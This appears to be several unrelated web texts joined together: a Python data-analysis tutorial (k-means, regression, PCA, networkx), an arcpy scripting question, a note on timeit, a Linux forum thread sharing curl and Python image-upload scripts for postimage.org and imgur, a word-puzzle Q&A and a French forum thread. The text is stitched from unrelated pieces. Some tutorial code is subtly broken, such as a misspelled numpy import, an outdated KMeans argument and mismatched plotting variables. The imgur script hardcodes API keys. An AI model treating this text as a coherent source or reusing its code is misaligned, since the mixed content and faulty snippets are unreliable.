Often we don't have labels attached to the data that tell us the class of the samples; we have to analyze the data in order to group them on the basis of a similarity criteria where groups (or clusters) are sets of similar samples. This kind of analysis is called unsupervised data analysis. One of the most famous clustering tools is the k-means algorithm, which we can run as follows:
from sklearn.cluster import KMeans
kmeans = KMeans(k=3, init='random') # initialization
kmeans.fit(data) # actual execution
The snippet above runs the algorithm and groups the data in 3 clusters (as specified by the parameter k). Now we can use the model to assign each sample to one of the clusters:
c = kmeans.predict(data)
And we can evaluate the results of clustering, comparing it with the labels that we already have using the completeness and the homogeneity score:
from sklearn.metrics import completeness_score, homogeneity_score
print completeness_score(t,c)
0.7649861514489815
print homogeneity_score(t,c)
0.7514854021988338
The completeness score approaches 1 when most of the data points that are members of a given class are elements of the same cluster while the homogeneity score approaches 1 when all the clusters contain almost only data points that are member of a single class.
We can also visualize the result of the clustering and compare the assignments with the real labels visually:
figure()
subplot(211) # top figure with the real classes
plot(data[t==1,0],data[t==1,2],'bo')
plot(data[t==2,0],data[t==2,2],'ro')
plot(data[t==3,0],data[t==3,2],'go')
subplot(212) # bottom figure with classes assigned automatically
plot(data[c==1,0],data[tt==1,2],'bo',alpha=.7)
plot(data[c==2,0],data[tt==2,2],'go',alpha=.7)
plot(data[c==0,0],data[tt==0,2],'mo',alpha=.7)
show()
The following graph shows the result:
Observing the graph we see that the cluster in the bottom left corner has been completely indentified by k-means while the two clusters on the top have been identified with some errors.
Regression is a method for investigating functional relationships among variables that can be used to make predictions. Consider the case where we have two variables, one is considered to be explanatory, and the other is considered to be a dependent. We want to describe the relationship between the variables using a model; when this relationship is expressed with a line we have the linear regression.
In order to apply the linear regression we build a synthetic dataset composed as described above:
from numpy.random import rand
x = rand(40,1) # explanatory variable
y = x*x*x+rand(40,1)/5 # depentend variable
Now we can use the LinearRegression model that we found in the module sklear.linear_model. This model calculates the best-fitting line for the observed data by minimizing the sum of the squares of the vertical deviations from each data point to the line. The usage is similar to the other models implemented in sklearn that we have seen before:
from sklearn.linear_model import LinearRegression
linreg = LinearRegression()
linreg.fit(x,y)
And we can plot this line over the actual data points to evaluate the result:
from numpy import linspace, matrix
xx = linspace(0,1,40)
plot(x,y,'o',xx,linreg.predict(matrix(xx).T),'--r')
show()
The plot should be as follows:
In this graph we can observe that the line goes through the center of our data and enables us to identify the increasing trend.
We can also quantify how the model fits the original data using the mean squared error:
from sklearn.metrics import mean_squared_error
print mean_squared_error(linreg.predict(x),y)
0.01093512327489268
This metric measures the expected squared distance between the prediction and the true data. It is 0 when the prediction is perfect.
We study the correlation to understand whether and how strongly pairs of variables are related. This kind of analysis helps us in locating the critically important variables on which others depend. The best correlation measure is the Pearson product-moment correlation coefficient. It's obtained by dividing the covariance of the two variables by the product of their standard deviations. We can compute this index between each pair of variables for the iris dataset as follows:
from numpy import corrcoef
corr = corrcoef(data.T) # .T gives the transpose
print corr
[[ 1. -0.10936925 0.87175416 0.81795363]
[-0.10936925 1. -0.4205161 -0.35654409]
[ 0.87175416 -0.4205161 1. 0.9627571 ]
[ 0.81795363 -0.35654409 0.9627571 1. ]]
The function corrcoef returns a symmetric matrix of correlation coefficients calculated from an input matrix in which rows are variables and columns are observations. Each element of the matrix represents the correlation between two variables.
Correlation is positive when the values increase together. It is negative when one value decreases as the other increases. In particular we have that 1 is a perfect positive correlation, 0 is no correlation and -1 is a perfect negative correlation.
When the number of variables grows we can conveniently visualize the correlation matrix using a pseudocolor plot:
from pylab import pcolor, colorbar, xticks, yticks
from numpy import arrange
pcolor(corr)
colorbar() # add
# arranging the names of the variables on the axis
xticks(arange(0.5,4.5),['sepal length', 'sepal width', 'petal length', 'petal width'],rotation=-20)
yticks(arange(0.5,4.5),['sepal length', 'sepal width', 'petal length', 'petal width'],rotation=-20)
show()
The following image shows the result:
Looking at the color bar on the right of the figure, we can associate the color on the plot to a numerical value. In this case red is associated with high values of positive correlation and we can see that the strongest correlation in our dataset is between the variables "petal width" and "petal length."
In the first section we saw how to visualize two dimensions of the iris dataset. With that method alone, we have a view of only a part of the dataset. Since the maximum number of dimensions that we can plot at the same time is 3, to have a global view of the data it's necessary to embed the whole data in a number of dimensions that we can visualize. This embedding process is called dimensionality reduction. One of the most famous techniques for dimensionality reduction is the Principal Component Analysis (PCA). This technique transforms the variables of our data into an equal or smaller number of uncorrelated variables called principal components (PCs).
This time, sklearn provides us all we need to perform our analysis:
from sklearn.decomposition import PCA
pca = PCA(n_components=2)
In the snippet above we instantiated a PCA object which we can use to compute the first two PCs. The transform is computed as follows:
pcad = pca.fit_transform(data)
And we can plot the result as usual:
plot(pcad[target=='setosa',0],pcad[target=='setosa',1],'bo')
plot(pcad[target=='versicolor',0],pcad[target=='versicolor',1],'ro')
plot(pcad[target=='virginica',0],pcad[target=='virginica',1],'go')
show()
The result is as follows:
We notice that the figure above is similar to the one proposed in the first section, but this time the separation between the versicolor specie (in red) and the virginica specie (in green) is more clear.
The PCA projects the data into a space where the variance is maximized and we can determine how much information is stored in the PCs looking at the variance ratio:
print pca.explained_variance_ratio_
[ 0.92461621 0.05301557]
Now we know that the first PC accounts for 92% of the information of the original dataset while the second one accounts for the remaining 5%. We can also print how much information we lost during the transformation process:
print 1-sum(pca.explained_variance_ratio_)
0.0223682249752
In this case we lost 2% of the information.
At this point, we can apply the inverse transformation to get the original data back:
data_inv = pca.inverse_transform(pcad)
Arguably, the inverse transformation doesn't give us exactly the original data due to the loss of information. We can estimate how much the result of the inverse is likely to the original data as follows:
print abs(sum(sum(data - data_inv)))
2.8421709430404007e-14
We have that the difference between the original data and the approximation computed with the inverse transform is close to zero. It's interesting to note how much information we can preserve by varying the number of principal components:
for i in range(1,5):
pca = PCA(n_components=i)
pca.fit(data)
print sum(pca.explained_variance_ratio_) * 100,'%'
The output of this snippet is the following:
92.4616207174 %97.7631775025 %99.481691455 %100.0 %
The more PCs we use the more the information is preserved, but this analysis helps us to understand how many components we can use to save a certain amount of information. For example, from the output of the snippet above we can see that on the Iris dataset we can save almost 100% of the information just by using three PCs.
Often, the data that we have to analyze is structured in the form of networks, for example our data could describe the friendships between a group of facebook users or the coauthorships of papers between scientists. Here, the objects to study are described by nodes and by edges that describe connections between them.
In this section we will see the basic steps for the analysis of this kind of data using networkx, which is a library that helps us in the creation, the manipulation and the study of the networks. In particular, we will see how to use a centrality measure in order to build a meaningful visualization of the data and how to find a group of nodes where the connections are dense.
Using networkx, we can easily import the most common formats used for the description of structured data:
G = nx.read_gml('lesmiserables.gml',relabel=True)
In the code above we imported the coappearance network of characters in the novel Les Miserables, freely available at https://gephi.org/datasets/lesmiserables.gml.zip, in the GML format. We can also visualize the loaded network with the following command:
nx.draw(G,node_size=0,edge_color='b',alpha=.2,font_size=7)
The result should be as follows:
In this network each node represents a character of the novel and the connection between two characters represents the coappearance in the same chapter. It's easy to see that the graph is not really helpful. Most of the details of the network are still hidden and it's impossible to understand which are the most important nodes. In order to gain some insights about our data we can study the degree of the nodes. The degree of a node is considered one of the simplest centrality measures and it consists of the number of connections a node has. We can summarize the degrees distribution of a network looking at its maximum, minimum, median, first quartile and third quartile:
deg = nx.degree(G)
from numpy import percentile, mean, median
print min(deg.values())
print percentile(deg.values(),25) # computes the 1st quartile
print median(deg.values())
print percentile(deg.values(),75) # computes the 3rd quartile
print max(deg.values())10
1
2.0
6.0
10.0
36
From this analysis we can decide to observe only the nodes with a degree higher than 10. In order to display only those nodes we can create a new graph with only the nodes that we want to visualize:
Gt = G.copy()
dn = nx.degree(Gt)
for n in Gt.nodes():
if dn[n] <= 10:
Gt.remove_node(n)
nx.draw(Gt,node_size=0,edge_color='b',alpha=.2,font_size=12)
The image below shows the result:
This time the graph is more readable. It makes us able to observe the most relevant characters and their relationships.
It is also interesting to study the network through the identification of its cliques. A clique is a group where a node is connected to all the other ones and a maximal clique is a clique that is not a subset of any other clique in the network. We can find the all maximal cliques of the our network as follows:
from networkx import find_cliques
cliques = list(find_cliques(G))
And we can print the biggest clique with the following command:
print max(cliques, key=lambda l: len(l))
[u'Joly', u'Gavroche', u'Bahorel', u'Enjolras', u'Courfeyrac', u'Bossuet', u'Combeferre', u'Feuilly', u'Prouvaire', u'Grantaire']
We can see that most of the names in the list are the same of the cluster of nodes on the right of the graph. |
I have a python script that I am using to create a list of all mxd files (with full pathing) in our Projects folder. The script then uses that to iterate through the list and do a findandreplaceworkspacepaths on each mxd per ESRI's how to. I am running into problems when I hit a corrupted mxd file. The have tried try/except and haven't gotten it to work. The ideal situation would be to write the corrupt filename to a file and move on so I can come back to them at the end. I'm very new with python scripting, any help would be greatly appreciated.
import arcpy, os, sys, traceback, time
oldpath = 'W:'
newpath = 'W:\\GIS'
def find(path,pattern):
matches = []
for r,d,f in os.walk(path):
for files in f:
if files.endswith(pattern):
fpath = os.path.join(r,files)
matches.append(fpath)
print (fpath)
return matches
print ("Go: ")
mxdlist = (find('C:\\gis','.mxd'))
print (mxdlist)
print ("Starting Path Conversion")
try:
for mxdold in mxdlist:
mxd = arcpy.mapping.MapDocument(mxdold)
mxd.findAndReplaceWorkspacePaths(oldpath, newpath)
time.sleep(6)
mxd.save()
time.sleep(6)
print (mxdold)
del mxd
except arcpy.ExecuteError:
arcpy.AddError(arcpy.GetMessages(2))
except:
arcpy.AddError("Non-tool error occurred")
|
According to the Python documentation it has to do with the accuracy of the time function in different operating systems:
The default timer function is platform
dependent. On Windows, time.clock()
has microsecond granularity but
time.time()âs granularity is 1/60th of
a second; on Unix, time.clock() has
1/100th of a second granularity and
time.time() is much more precise. On
either platform, the default timer
functions measure wall clock time, not
the CPU time. This means that other
processes running on the same computer
may interfere with the timing ... On Unix, you can
use time.clock() to measure CPU time.
To pull directly from timeit.py's code:
if sys.platform == "win32":
# On Windows, the best timer is time.clock()
default_timer = time.clock
else:
# On most other platforms the best timer is time.time()
default_timer = time.time
In addition, it deals directly with setting up the runtime code for you. If you use time you have to do it yourself. This, of course saves you time
Timeit's setup:
def inner(_it, _timer):
#Your setup code
%(setup)s
_t0 = _timer()
for _i in _it:
#The code you want to time
%(stmt)s
_t1 = _timer()
return _t1 - _t0
|
Save yourself having to go to an image sharing site with your browser. This script runs in a terminal, takes a file path as argument, uploads it to postimage.org and displays the url, BB code for forums and html for web pages, ready to copy/paste. It needs curl to be installed (from the repos).
#!/bin/bash
# imgupload.sh
# upload image to postimage.org and print out url etc
# If you plan to upload adult content change "adult=no" to "adult=yes"
curl -Ls -F "upload[]=@$1" -F "adult=no" http://postimage.org/ | awk '
BEGIN {
RS="<textarea"
FS="</td>"
}
NR==1{next}
NR>7{exit}
{
gsub(/<[^>]*>/,"",$1)
sub(/^[^>]*>/,"",$1)
gsub("\\<","<",$1)
gsub("\\>",">",$1)
gsub("\\"","\"",$1)
gsub(/<[^>]*>/,"",$2)
sub(/^[ \t\n]*/,"",$2)
print("\n" $2 ": " $1 "\n")
}'
exit
It's handy to add a custom right-click action to Thunar with this. I use this command:
urxvt -hold -e /home/john/scripts/imgupload.sh %f
Of course change urxvt to your terminal. The -hold option is necessary so you have time to copy the url. Tick "image files" in the Appearance Conditions. If your image viewer has a "send to external app" type option you could put it there too.
Note: this is a hack and will probably break next time postimage change their front page. (Please post if you find a problem.) At that time it will have to be rehacked, or maybe changed to imgur which has a proper api, but needs registration.
Last edited by johnraff (2013-09-07 16:54:04)
Offline
This is awesome, johnraff, I didn't know that curl has such useful capabilities.
Offline
Offline
^ That should be fine; in this case, we want the script to match for "<" etc. and replace them with the appropriate bbs code. Awk just realizes that both \ and & are used as escape characters in different cases, and wants to be sure we know what's going on.
I'm a moderator here. How are we doing? Feedback is encouraged.
Offline
Actually that ampersand-escaping thing is a known issue I should have remembered.
It came up 2 years ago with the "recent files" pipemenu:
http://crunchbang.org/forums/viewtopic. … 28#p125728
It's a mawk vs gawk thing and adding a second backslash fixes it for both of them.
Gory details here:
http://www.gnu.org/software/gawk/manual … ry-Details
Anyway, I've edited the first post.
@GekkoP I'm guessing you have gawk set as your default awk, right? Anyway thanks for catching that warning!
Offline
Anyway, I've edited the first post.
@GekkoP I'm guessing you have gawk set as your default awk, right? Anyway thanks for catching that warning!
How do I check that? I'm curious now
Offline
mawk is smaller and faster but gawk has more features. (eg mawk doesn't understand POSIX character classes like [:alnum:].) mawk is the default on standard Debian I think.
Last edited by johnraff (2013-09-07 16:50:49)
Offline
Here's a bigger and more featured script that works with imgur! It even allows you to have a DIRECT LINK to your image!
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import urllib2
import json
from base64 import b64encode
from getpass import getpass
from urllib import urlencode
from cookielib import CookieJar
from os.path import expanduser, exists
from pprint import pprint
from collections import OrderedDict
from argparse import ArgumentParser
USERNAME = ""
PASSWORD = ""
APIKEY_AUTH = "acfe292a432ded08e576f019fb4e34d104df16436"
APIKEY_ANON = "641ff5860e0a7e26e97e48d8ee80d162"
DEBUG = False
class ImgurError(Exception):
pass
class Imgur(object):
"""
This class can be used to upload images and manage an account on imgur.com
"""
base = "api.imgur.com"
connected = False
urls = {
# Anon
"upload": "/2/upload",
"image": "/2/image/%s",
"delete": "/2/delete/%s",
# Auth
"signin": "/2/signin",
"account": "/2/account",
"account_images": "/2/account/images",
"account_image": "/2/account/images/%s",
"account_images_count": "/2/account/images_count",
"albums": "/2/account/albums",
"album": "/2/account/albums/%s",
"albums_count": "/2/account/albums_count",
"albums_order": "/2/account/albums_order",
"album_order": "/2/account/albums_order/%s",
# Other
"stats": "/2/stats",
"credits": "/2/credits",
}
def __init__(self, apikey_auth=None, apikey_anon=None, print_results=True):
self.apikey_auth = apikey_auth
self.apikey_anon = apikey_anon
self.print_results = print_results
self.cj = CookieJar()
def _handle_response(fun):
def new_f(self, *args, **kwargs):
try:
resp = fun(self, *args, **kwargs)
except urllib2.HTTPError, err:
raise ImgurError(err)
else:
if self.print_results:
content = resp.read()
try:
#pprint(json.loads(content))
json_print(json.loads(content))
except:
pprint(content)
return resp
return new_f
def connection_required(fun):
""" A decorator that checks if the user is authenticated """
def new_f(self, *args, **kwargs):
if not self.connected:
raise ImgurError("You must be connected to perform this"
"operation")
return fun(self, *args, **kwargs)
return new_f
def connect(self, username=None, password=None):
"""
A cookie is created for the authentication
"""
response = self.request("POST", "signin",
username=username, password=password)
debug("Connected.")
self.connected = True
def _json(self, data):
try:
return json.loads(data)
except ValueError:
raise ImgurError("Invalid data")
@_handle_response
@connection_required
def _account(self):
return self.request("GET", "account")
@_handle_response
def _upload(self, filename, url, name, title, caption):
if filename:
with open(expanduser(filename), "rb") as f:
img = b64encode(f.read())
t = "base64"
else:
img = url
t = "url"
url = "account_images" if self.connected else "upload"
return self.request("POST", url, image=img,
type=t, name=name, title=title, caption=caption)
@_handle_response
@connection_required
def _imgedit(self, hash, title="", caption=""):
url = self.urls["account_image"] % hash
return self.request("POST", url=url, title=title, caption=caption)
@_handle_response
def _imginfos(self, hash):
c = self.connected
url = self.urls["account_image" if c else "image"] % hash
return self.request("GET", url=url)
@_handle_response
def _imgdelete(self, hash):
c = self.connected
url = self.urls["account_image" if c else "delete"] % hash
return self.request("DELETE", url=url)
@_handle_response
@connection_required
def _imgcount(self):
return self.request("GET", "account_images_count")
@_handle_response
@connection_required
def _list(self):
return self.request("GET", "account_images")
@_handle_response
@connection_required
def _albums(self, title="", description="", privacy="", layout="",
count="", page="", create=True):
if create:
return self.request("POST", "albums", title=title,
description=description, privacy=privacy, layout=layout)
else:
return self.request("GET", "albums", count=count, page=page)
@_handle_response
@connection_required
def _albmlist(self, album_id):
url = self.urls["album"] % album_id
return self.request("GET", url=url)
@_handle_response
@connection_required
def _albmdelete(self, album_id):
url = self.urls["album"] % album_id
return self.request("DELETE", url=url)
@_handle_response
@connection_required
def _albmedit(self, album_id, title="", description="", cover="",
privacy="", layout="", images="", add_images="", del_images=""):
url = self.urls["album"] % album_id
datas = {}
for k in ("url", "title", "description", "cover", "privacy", "layout",
"images", "add_images", "del_images"):
datas[k] = locals()[k]
return self.request("POST", **datas)
@_handle_response
@connection_required
def _albmcount(self):
return self.request("GET", "albums_count")
@_handle_response
@connection_required
def _albmord(self, album_id, hashes):
url = self.urls["album_order"] % album_id
return self.request("POST", url=url, hashes=hashes)
@_handle_response
@connection_required
def _albmords(self, album_ids):
return self.request("POST", "albums_order", album_ids=album_ids)
@_handle_response
def _limits(self):
return self.request("GET", "credits")
def _stats(self, view):
return self.request("GET", "stats", view=view)
def request(self, method, key="", url="", headers=None, **params):
# Send an http request.
# if key is set, use the url from self.urls[key]
# else use 'url'
if not headers:
headers = {}
url = "http://" + self.base + (self.urls[key] if key else url) + ".json"
params["key"] = self.apikey_auth if self.connected else self.apikey_anon
data = None
if method in ("POST", "DELETE"):
for k in params.keys():
if not params[k]:
del params[k]
data = urlencode(params)
elif method in ("GET", "DELETE"):
url = "%s?%s" % (url, urlencode(params))
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(self.cj))
urllib2.install_opener(opener)
debug(url, params)
req = urllib2.Request(url, data, headers)
if not method in ("POST", "GET"):
req.get_method = lambda: method
return urllib2.urlopen(req)
def _get_json(self, fun_name, *args, **kwargs):
return self._json(getattr(self, fun_name)(*args, **kwargs).read())
def _infos(self, img):
""" Print the infos of an image """
return dict_print(OrderedDict(img["image"].items() +
img["links"].items()))
def _liststr(self, datas):
""" Converts a list into "(foo,bar,baz)" """
if isinstance(datas, (list, tuple)):
datas = "(%s)" % (",".join(str(e) for e in datas))
elif not datas.startswith("("):
datas = "(%s)" % datas
return datas
def upload_image(self, image="", name="", title="", caption="", hashes=False):
"""
Upload an image
'image' can be a path or an url
if hashes is True, return only the hashes
"""
url, file = "", ""
if not exists(image):
url = image
else:
file = image
datas = self._get_json("_upload", file, url, name, title, caption)
infos = datas["images" if self.connected else "upload"]
if hashes:
return "Hash: %s\nDelete: %s" % (infos["image"]["hash"],
infos["image"]["deletehash"])
else:
return self._infos(infos)
def account(self):
""" Get account infos """
datas = self._get_json("_account")
return dict_print(datas["account"])
def list_images(self):
""" List all images in account """
datas = self._get_json("_list")
imgs = (self._infos(img) for img in datas["images"])
return "\n *** \n".join(imgs)
def infos_image(self, hash):
""" Retrieve informations from an image """
datas = self._get_json("_imginfos", hash)
return self._infos(datas["images" if self.connected else "image"])
def delete_image(self, hash):
""" Delete an image """
datas = self._get_json("_imgdelete", hash)
return datas["images"]["message"] if self.connected else ""
def edit_image(self, hash, new_title="", new_caption=""):
""" Edit an image """
datas = self._get_json("_imgedit", hash, new_title, new_caption)
return self._infos(datas["images"])
def count_images(self):
""" Count all images in the account """
return self._get_json("_imgcount")["images_count"]["count"]
def list_albums(self, count=30, page=1):
"""
List all albums in the account
"""
datas = self._get_json("_albums", count=count, page=page,
create=False)
return "\n *** \n".join(dict_print(alb) for alb in datas["albums"])
def create_album(self, title="", description="", privacy="", layout=""):
"""
All values are optional.
privacy: public/hidden/secret
layout: blog/horizontal/vertical/grid
"""
datas = self._get_json("_albums", title, description, privacy, layout)
return dict_print(datas["albums"])
def list_album(self, album_id):
""" List all images in an album """
datas = self._get_json("_albmlist", album_id)
imgs = (self._infos(img) for img in datas["albums"])
return "\n *** \n".join(imgs)
def delete_album(self, album_id):
""" Delete an album """
datas = self._get_json("_albmdelete", album_id)
return datas["albums"]["message"]
def edit_album(self, album_id, title="", description="", cover="",
privacy="", layout="", images="", add_images="", del_images=""):
"""
Edit an album
privacy: public/hidden/secret
layout: blog/horizontal/vertical/grid
cover: a hash of an image in the account
'images' replaces all images in the album
images, add_images and del_images must be a list of hashes,
or a string formatted like (hash1,hash2,...)
"""
for k in ("images", "add_images", "del_images"):
locals()[k] = self._liststr(locals()[k])
datas = self._get_json("_albmedit", album_id, title, description,
cover, privacy, layout, images, add_images, del_images)
imgs = (self._infos(img) for img in datas["albums"])
return "\n *** \n".join(imgs)
def count_albums(self):
""" Return the number of albums. """
datas = self._get_json("_albmcount")
return datas["albums_count"]["count"]
def order_album(self, album_id, hashes):
hashes = self._liststr(hashes)
datas = self._get_json("_albmord", album_id, hashes)
return "\n *** \n".join(dict_print(alb) for alb in datas["albums_order"])
def order_albums(self, album_ids):
album_ids = self._liststr(album_ids)
datas = self._get_json("_albmords", album_ids)
imgs = (self._infos(img) for img in datas["albums_order"])
return "\n *** \n".join(imgs)
def stats(self, view="month"):
"""
View imgur's stats
view: today|week|month
"""
return dict_print(self._get_json("_stats", view)["stats"])
def debug(*datas):
if DEBUG:
print "DEBUG:", ", ".join(str(d) for d in datas)
def json_print(data, tab=0):
if isinstance(data, (list, tuple)):
print
for elem in data:
json_print(elem, tab)
print
elif isinstance(data, dict):
print
for e, d in data.items():
print "\t"*tab, e,
json_print(d, tab+1)
else:
print "\t"*tab, data
def dict_print(data):
def align(l, r, w=80):
return "%s: %s%s" % (l, (w-len(l))* " ", r)
w = max(len(e) for e in data.keys())
return "\n".join(align(k, v, w) for k, v in data.items())
def main():
i = Imgur(APIKEY_AUTH, APIKEY_ANON, False)
# Parser definition
parser = ArgumentParser(description="A command-line utility for imgur.com")
parser.add_argument("--user")
parser.add_argument("--password")
parser.add_argument("--ask-pass", action="store_true",
help="Prompt for a password, so that it will never be displayed.")
parser.add_argument("--anon", action="store_true", default=False,
help="Do not authenticate.")
sparsers = parser.add_subparsers(metavar="ACTION", dest='sp_name',
help="Use '%(prog)s action -h' for more help")
up_parser = sparsers.add_parser("upload", help="Upload a file or an url")
up_parser.add_argument("image", help="A path or an url")
up_parser.add_argument("-t", "--title")
up_parser.add_argument("-n", "--name")
up_parser.add_argument("-c", "--caption")
up_parser.add_argument("-s", "--hashes", action="store_true",
help="Only print the hashes instead of all the informations")
imgd_parser = sparsers.add_parser("delete", help="Delete an image")
imgd_parser.add_argument("hash")
imgi_parser = sparsers.add_parser("infos", help="Get infos on the image")
imgi_parser.add_argument("hash")
imge_parser = sparsers.add_parser("edit", help="Edit an image")
imge_parser.add_argument("hash")
imge_parser.add_argument("-t", "--title")
imge_parser.add_argument("-c", "--caption")
list_parser = sparsers.add_parser("list", help="List all your images")
acc_parser = sparsers.add_parser("account", help="Account infos")
albc_parser = sparsers.add_parser("create-album", help="Create a new album")
albc_parser.add_argument("-t", "--title")
albc_parser.add_argument("-d", "--description")
albc_parser.add_argument("-p", "--privacy", choices=["public", "hidden",
"secret"])
albc_parser.add_argument("-l", "--layout", choices=["blog", "horizontal",
"vertical", "grid"])
albe_parser = sparsers.add_parser("edit-album", help="Edit an album")
albe_parser.add_argument("album_id")
albe_parser.add_argument("-t", "--title")
albe_parser.add_argument("-d", "--description")
albe_parser.add_argument("-p", "--privacy", choices=["public", "hidden",
"secret"])
albe_parser.add_argument("-l", "--layout", choices=["blog", "horizontal",
"vertical", "grid"])
albe_parser.add_argument("-c", "--cover", help="The hash of an image to use "
"as cover for the album", metavar="hash")
albe_parser.add_argument("-i", "--images", metavar="hash1,hash2,..,hashN",
help="Replace all images in an album.")
albe_parser.add_argument("-a", "--add", metavar="hash1,hash2,..,hashN",
help="Add images to the album.")
albe_parser.add_argument("-r", "--delete", metavar="hash1,hash2,..,hashN",
help="Delete images from the album.")
albl_parser = sparsers.add_parser("list-albums",
help="List all albums.")
albl_parser.add_argument("-c", "--count", help="The number of albums to return")
albl_parser.add_argument("-p", "--page", help="The pages of albums to return")
albs_parser = sparsers.add_parser("list-album",
help="List all images in an album")
albs_parser.add_argument("album_id")
albco_parser = sparsers.add_parser("count-albums",
help="Get the number of albums")
albd_parser = sparsers.add_parser("delete-album", help="Delete an album")
albd_parser.add_argument("album_id")
albos_parser = sparsers.add_parser("order-albums", help="Order all albums in the account")
albos_parser.add_argument("album_ids", metavar="id1,id2,...,idn", help="The new list of album IDs")
albo_parser = sparsers.add_parser("order-album", help="Order all images in an album")
albo_parser.add_argument("album_id")
albo_parser.add_argument("hashes", metavar="hash1,hash2,...,hashn", help="The new list of hashes")
stats_parser = sparsers.add_parser("stats", help="Imgur statistics")
stats_parser.add_argument("-v", "--view",
choices=["today", "month", "week"])
# Authentification
args = parser.parse_args()
u, p, ap = args.user, args.password, args.ask_pass
if u and not p:
if ap:
i.connect(u, getpass())
else:
i.connect(u, PASSWORD)
elif p and not u:
i.connect(USERNAME, p)
elif u and p:
i.connect(u, p)
elif USERNAME and (not PASSWORD or ap) and not args.anon:
i.connect(USERNAME, getpass())
elif USERNAME and PASSWORD and not args.anon:
i.connect(USERNAME, PASSWORD)
# Preparation
opts = vars(args)
spname = args.sp_name
del opts["user"], opts["password"], opts["anon"], opts["ask_pass"]
if spname in ("upload", "infos", "delete", "edit", "list", "count"):
fun_name = spname + "_image" if hasattr(Imgur,
spname + "_image") else spname + "_images"
elif spname.rstrip("s").endswith("album"):
fun_name = spname.replace("-", "_")
else:
fun_name = spname
del opts["sp_name"]
fun = getattr(Imgur, fun_name)
# And action.
print fun(i, **opts)
if __name__ == "__main__":
main()
and here is a mirror for the same script, just in case.
I don't know where I took that script from.. hehe
How to use it?
./thatscript.py upload 'pathtoimage'
or
./thatscript --help
for some help
Last edited by sysaxed (2013-10-30 17:09:33)
Offline
Also, here is you simplified script that gives just one link:
#!/bin/bash
# imgupload.sh
# upload image to postimage.org and print out url etc
# If you plan to upload adult content change "adult=no" to "adult=yes"
curl -Ls -F "upload[]=@$1" -F "adult=no" http://postimage.org/ | grep -Po 'id="code_1".+\Khttp[^<]+'
exit
Now, the trick is, you can pipe this link directly to your clipboard! (requires xclip)
#!/bin/bash
# imgupload.sh
# upload image to postimage.org and print out url etc
# requires xclip to be installed (apt-get install xclip)
# If you plan to upload adult content change "adult=no" to "adult=yes"
curl -Ls -F "upload[]=@$1" -F "adult=no" http://postimage.org/ | grep -Po 'id="code_1".+\Khttp[^<]+' | xclip -selection clipboard
exit
Isn't that cool, huh?? Now you don't even need to run the terminal if you're executing it from thunar!
The same thing can be applied to the script I posted above:
./imgur.py upload YOURIMAGE | grep -Po 'original:\s*\K.+' | xclip -selection clipboard
Last edited by sysaxed (2013-10-30 17:52:49)
Offline
NOW HERE IS THE THING!
Share a screenshot with your friends or coworkers!
#!/bin/bash
# Share a screenshot by selecting a part of the screen with your mouse
# By Johnraff and Sysaxed
file="$(mktemp).png"
scrot -s "$file"
curl -Ls -F "upload[]=@$file" -F "adult=no" http://postimage.org/ | grep -Po 'id="code_1".+\Khttp[^<]+' | xclip -selection clipboard
# or
# imgur.py upload "$file" | grep -Po 'original:\s*\K.+' | xclip -selection clipboard
rm "$file"
Run this script, select an area of your desktop, paste the link to the chat or forum!
You can uncomment the imgur line and comment postimage.org line to use imgur instead. In that case you would have to place a script posted above to your PATH
Last edited by sysaxed (2013-10-30 17:51:37)
Offline |
I'm assuming there isn't a word that contains every letter in the alphabet, so which word contains the most?
Examples:
antidisestablishmentarianism - 12 [antidseblhmr]
psychotherapy - 12 [psychotherap]
handcraftsmanship - 13 [handcrftsmhip]
Among words in a certain word list I found:
It has ten words with 16, including:
There are several dozen with 15, including:
and several hundred with 14 (including a few 14-letter words like 'pseudomythical', 'hydropneumatic' and 'ambidextrously').
In case anyone cares, this was done with Python, something like:
F = open('words.list').readlines()
for i in range(len(F)):
w = F[i].strip().lower()
F[i] = (len(set(w)), w)
F = sorted(F, reverse=True)
for i in range(len(F)): print F[i]
A better word list (one that includes
Llanfairpwllgwyngyllgogerychwyrndrobwllllantysiliogogogoch clocks in at 18 distinct characters, but arguably a near-infinite number of 25-character answers exist, since organic chemistry nomenclature allows one to build valid hypothetical compound names of essentially arbitrary length, and the full alphabet less only J appears on the periodic table (though this does require one to refer to rutherfordium by its old placeholder name unnilquadium or arrogate a placeholder name for a transuranic element with an atomic number ending in 4 that hasn't been named yet, so it may only get us to 24 characters).
Thank you for your interest in this question. Because it has attracted low-quality answers, posting an answer now requires 10 reputation on this site.
Would you like to answer one of these unanswered questions instead? |
Pylades
/* Topic des codeurs couche-tard [1] */
Bienvenue dans le TdCCT 0x1.
Ceci est la suite de ce fil.
Voici le rappel des règles du jeu, formulées par le message initial de samuncle :
Bienvenue dans ce nouveau topic psychédélique, ou le but est de coder le plus tard possible (oui, c’est bien connu, il est plus facile de coder la nuit).
Un compteur viendra, chaque matin, poster le nouveau score, normalement à neuf heures et
quarante-deuxminutes.
Voici le barème en fonction de l’heure du dernier message posté :
[21 h, 22 h[ → 1 point ;
[22 h, 23 h[ → 2 points ;
[23 h, 0 h[ → 3 points ;
[0 h, 1 h[ → 4 points ;
[1 h, 2 h[ → 5 points ;
[2 h, 3 h[ → 6 points ;
[3 h, 5 h[ → 10 points ;
On ne marque plus de points après cinq heures. Les points ne se cumulent pas si l’on poste toutes les heures.
Historique des précédents fils :
• Topic des codeurs couche-tard [0] : du 14 avril 2010 au 12 juin 2010 (100 pages).
Amusez-vous bien, et produisez-nous du beau code.
Dernière modification par Pylade (Le 15/07/2010, à 21:07)
“Any if-statement is a goto. As are all structured loops.
“And sometimes structure is good. When it’s good, you should use it.
“And sometimes structure is _bad_, and gets into the way, and using a goto is just much clearer.”
Linus Torvalds – 12 janvier 2003
Hors ligne
na kraïou
Re : /* Topic des codeurs couche-tard [1] */
Р'tite G☢gole a écrit :
Tu payes combien ?
Mon éternelle admiration.
(Et éventuellement un poème contant tes louanges.)
Triste !
Intégriste ! Comploteur ! Connard ! Fourbe ! Linuxeux ! Machiavélique ! Moche ! Branleur ! Grognon ! Prétentieux ! Frimeur ! /b/tard ! Futile ! Étudiant ! Médiéviste ! Perfide ! Debianeux ! Futur maître du monde ! Petit (quasi nanos gigantium humeris insidentes) ! Égoïste ! Nawakiste ! Mauvaise langue ! 34709 ! На краю ! Arrogant ! Suffisant ! Ingrat !
Hors ligne
grim7reaper
Re : /* Topic des codeurs couche-tard [1] */
On a pas fait 100, la loose.
Sinon on pourrai ajouter un historique comme le TDCT, enfin jdçjdr.
